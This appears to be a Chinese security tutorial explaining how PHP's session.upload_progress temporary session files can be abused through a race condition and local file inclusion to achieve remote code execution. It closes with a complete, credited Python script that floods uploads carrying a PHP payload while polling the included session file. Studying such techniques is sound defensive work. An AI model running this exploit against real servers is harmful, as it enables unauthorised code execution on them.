Session条件竞争

session.upload_progress

session.upload_progress是一个用于跟踪文件上传进度的内置会话变量。它可以方便地用于显示实时的文件上传进度条或提供上传进度的相关信息。配置文件中session.upload_progress.enabled可以控制是否开启session.upload_progress功能

会话临时文件

数据

upload_progress_flag{this is flag}
c4ca4238a0b923820dcc509a6f75849b|a:5:{s:10:"start_time";i:1692590337;s:14:"content_length";i:303;s:15:"bytes_processed";i:303;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"test.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1692590338;s:15:"bytes_processed";i:0;}}}

可以看出这个会话文件中有上传文件的一些信息和session.upload_progress的数据。

存储

PHP中的会话数据默认情况下是以文件的形式存储在服务器上。当启用会话支持(通过调用session_start()函数)时,PHP会将会话数据保存在服务器上的临时文件中,文件的路径和名称由PHP配置文件(php.ini)中的session.save_path选项指定。

临时文件名

默认情况下,会话数据会以文件的形式存储在服务器上的临时目录中,文件名以sess_为前缀,后跟一个唯一的会话标识符(Session ID)。例如,一个会话文件的完整路径和名称可能是/tmp/sess_abcd1234。而在PHP环境中,默认用户是可以自定义自己的Session ID的。所以我们是可以知道临时会话文件的名称,这一点非常重要。

销毁

当启用了上传进度跟踪的功能之后,php的配置文件中session.upload_progress.cleanup默认开启即上传后自动清除会话文件。

利用过程

当我们POST请求中存在文件数据,即使当前PHP页面没有文件上传的逻辑,文件也会以临时文件的形式存储到服务器中。从这个角度来看,文件上传是存在的。因此跟踪文件上传的过程也会存在。但是会话文件在上传过程结束后就会自动删除,这个时间是非常短暂的。不过我们可以利用条件竞争,在临时文件删除之前配合文件包含达到RCE的目的。

基于这个过程,还有一个重要的点是我们需要让会话文件中有我们自定义的内容,例如:phpinfo();等。会话文件存储的是会话数据,session.upload_progress就是一个内置会话变量,所以这个变量会存储在会话文件中。我们在POST数据中设置PHP_SESSION_UPLOAD_PROGRESS值为我们需要的数据,例如:<?php phpinfo(); ?>。理论上这个数据会存储到临时会话文件中。

脚本

这里贴一个师傅的脚本:

import io
import requests
from threading import Thread
​
url = ''
session_id = 'test'
​
def POST(session):
    file = io.BytesIO(b'a' * 1024 * 5)
    times=0
    while True:
        session.post(url=url,
                     data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},
                     cookies={'PHPSESSID': session_id},
                     files={"file": ('test.txt', file)},
                     )
        print(f'上传文件{times}')
        times+=1
​
def GET(session):
    geturl = url + f'?file=/tmp/sess_{session_id}'
    print(geturl)
    while True:
        response = session.get(url=geturl)
        if 'c4ca4238a0b923820dcc509a6f75849b' in response.text:
            print(response.text)
            break
        else:
            print('尝试中..........')
​
if __name__ == '__main__':
    with requests.session() as session:
        t1 = Thread(target=POST, args=(session,))
        t1.daemon = True
        t1.start()
        GET(session)